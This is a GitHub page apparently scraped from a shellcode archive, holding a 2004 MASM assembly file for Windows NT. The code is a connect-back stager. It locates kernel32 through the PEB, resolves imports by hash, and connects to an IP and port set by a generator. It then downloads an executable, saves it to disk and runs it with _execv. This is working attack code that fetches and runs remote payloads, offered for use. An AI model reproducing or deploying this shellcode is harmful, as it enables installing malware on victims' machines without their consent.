-
Notifications
You must be signed in to change notification settings - Fork 1
/
shellcode-157.c
executable file
·257 lines (207 loc) · 8.8 KB
/
shellcode-157.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
;
; link - connectback, receive, save and execute shellcode
;
; Copyright (c) 2004 by loco
; All Rights Reserved
;
; NOTE: Compatible with Windows NT based operating systems. IPv4 only.
;
;
.386
.model flat, stdcall
option casemap:none
assume fs:flat
include C:\masm32\include\windows.inc ; standard windows header
include C:\masm32\include\kernel32.inc ; definitions of kernel32.dll
includelib C:\masm32\lib\kernel32.lib ; we must have kernel32.dll in our process if we want to test it
.data
dd GetTickCount ; refer to GetTickCount so that kernel32.dll gets loaded into our process
.code
db 'START->' ; start of shellcode (makes copy n pasting easier later)
; *** stuff that makes our life easier *****************************************
; kernel32.dll
__imp_ExitThread equ dword ptr [ebp + 04h]
__imp_LoadLibrary equ dword ptr [ebp + 08h]
; msvcrt.dll
__imp_fopen equ dword ptr [ebp + 0ch]
__imp_fwrite equ dword ptr [ebp + 10h]
__imp_fclose equ dword ptr [ebp + 14h]
__imp__execv equ dword ptr [ebp + 18h]
; ws2_32.dll
__imp_WSAStartup equ dword ptr [ebp + 1ch]
__imp_socket equ dword ptr [ebp + 20h]
__imp_connect equ dword ptr [ebp + 24h]
__imp_recv equ dword ptr [ebp + 28h]
__imp_send equ dword ptr [ebp + 2ch]
__imp_closesocket equ dword ptr [ebp + 30h]
; *** GetImportAddress macro ***************************************************
GetImportAddress MACRO
LOCAL GetImportAddressLoop
LOCAL GetImportHashLoop
mov edx, dword ptr [edi + 3ch] ; get offset of PE header
mov edx, dword ptr [edi + edx + 78h] ; get RVA of export directory
add edx, edi ; convert it to pointer
push edx ; save it to stack
mov edx, [edx + 20h] ; get rva of rva's of names
add edx, edi ; convert it to pointer
xor ebx, ebx ; index of ordinal will be saved in ebx
GetImportAddressLoop:
inc ebx ; just skip the first entry
mov esi, [edx + ebx * 04h] ; get rva of name
add esi, edi ; convert it to pointer
xor ecx, ecx
lodsb ; mov al, byte ptr [esi] -> inc esi
GetImportHashLoop:
xor cl, al
rol ecx, 5
lodsb ; mov al, byte ptr [esi] -> inc esi
test al, al
jnz GetImportHashLoop
mov esi, [ebp] ; get index of current function
sub ecx, [ebp + esi * 04h] ; sub the original hash from current
jnz GetImportAddressLoop ; not equal? try next
xchg esi, [esp] ; pointer to export table in esi now
mov edx, [esi + 24h] ; get rva of array of ordinals
add edx, edi ; convert it to pointer
mov cx, [edx + ebx * 2] ; get ordinal
mov edx, [esi + 1ch] ; get rva of array of pointers to functions
add edx, edi ; convert it to pointer
mov eax, [edx + ecx * 4] ; get rva of function
add eax, edi ; convert it to pointer
pop esi ; index of current function in esi
mov [ebp + esi * 04h], eax ; move pointer to correct entry
inc dword ptr [ebp] ; increment index of current function
ENDM
start:
; *** find kernel32.dll base ***************************************************
xor ebx, ebx
mov eax, fs:[ebx + 30h] ; Extract the PEB
mov eax, [eax + 0ch] ; Extract the PROCESS_MODULE_INFO pointer from the PEB
mov esi, [eax + 1ch] ; Get the address of flink in the init module list
lodsd ; Load the address of blink into eax
mov eax, [eax + 08h] ; Grab the module base address from the list entry
; *** load the imports *********************************************************
push ebx ; 0
push ebx ; 0
push '23' ; ????32 first part of ws2_32
push '_2sw' ; ws2_?? second part of ws2_32
push 'tr' ; ????rt first part of msvcrt
push 'cvsm' ; msvc?? second part of msvcrt
call OverImportHashes
dd 1
; kernel32.dll
dd 0D6086235h ; ExitThread
dd 094202374h ; LoadLibrary
; msvcrt
dd 0CAC999C0h ; fopen
dd 069155CB9h ; fwrite
dd 040F640B9h ; fclose
dd 00DB302D7h ; _execv
; ws2_32.dll
dd 0C44DF985h ; WSAStartup
dd 018041A9Ch ; socket
dd 01AD30183h ; connect
dd 0071302C0h ; recv
dd 007033480h ; send
dd 028398AB4h ; closesocket
OverImportHashes:
pop ebp
push 2
pop ebx
GetImportAddressOfNextDll:
mov edi, eax
push ebx
GetImportAddressesLoop:
push ebx
GetImportAddress
pop ebx
dec ebx
jnz GetImportAddressesLoop
pop ebx
add ebx, 2
push esp ; push modulehandle
call dword ptr [ebp + 08h] ; call kernel32.LoadLibraryA
add esp, 8 ; next module
test eax, eax
jnz GetImportAddressOfNextDll
mov ah, 02h ; eax = 00000200
sub esp, eax
; *** connect to IP ************************************************************
mov al, ah ; eax = 00000202
; initialize ws2_32.dll
push esp ; our receive buffer (abused as WSADATA struct)
push eax ; we support 2.2 and above
call __imp_WSAStartup ; when call succesful, will return 0
; set up SOCKADDR_IN structure
push eax ; 0
push eax ; 0
push 11111111h ; ip (will be set by shellcode generator)
push 22220002h ; AF_INET & port (port will be set by shellcode generator)
mov edi, esp
push eax ; IPPROTO_IP
push 1 ; SOCK_STREAM
push 2 ; AF_INET
call __imp_socket ; call ws2_32.socket
mov ebx, eax
; call it
push 10h ; sizeof SOCKADDR_IN
push edi ; ptr SOCKADDR_IN
push ebx ; socket
call __imp_connect ; call ws2_32.connect
; the only check!
test eax, eax
jnz Exit
; *** send the request key *****************************************************
mov dword ptr [ebp], 33333333h ; request key (will be set by shellcode generator)
push eax ; flags (0)
push 4 ; length (4)
push ebp ; buffer
push ebx ; socket
call __imp_send ; call ws2_32.send
; *** receive file *************************************************************
mov esi, esp ; save pointer to buffer in esi
; we want read/write access
mov dword ptr [ebp], 'bw'
push 'exe' ; second part 0, 'exe'
push '.xxx' ; first part '.xxx' (will be set by generator)
mov edi, esp ; save filename in edi
push ebp ; push pointer to 'wb'
push edi ; push pointer to filename
call __imp_fopen ; call msvrt.fopen
mov [ebp], eax ; move FILE stream in esi
; add esp, 8 ; no need to clean stack
; receive loop
ReceiveFile:
push 0 ; flags
push 512 ; buffersize
push esi ; buffer
push ebx ; socket
call __imp_recv ; call ws2_32.recv
test eax, eax
jz DoneReceiving
js Exit
push [ebp] ; FILE
push eax ; nitems
push 1 ; item size
push esi ; buffer
call __imp_fwrite ; call msvcrt.fwrite
add esp, 10h ; clean stack
jmp ReceiveFile
DoneReceiving:
push [ebp] ; push FILE stream to close
call __imp_fclose ; call msvcrt.fclose, returns 0 if succesful
; add esp, 4 ; not needed to clean stack
push eax
push esp ; varguments
push edi ; filename
call __imp__execv ; call msvcrt._execv
; add esp, 8 ; not needed to clean stack
Exit:
push ebx ; socket
call __imp_closesocket ; call ws2_32.closesocket
; push 0 ; we don't care about the exit code
call __imp_ExitThread ; call kernel32.ExitThread
; ******************************************+**********************************
db '<-END' ; end of shellcode
; ******************************************+**********************************
end start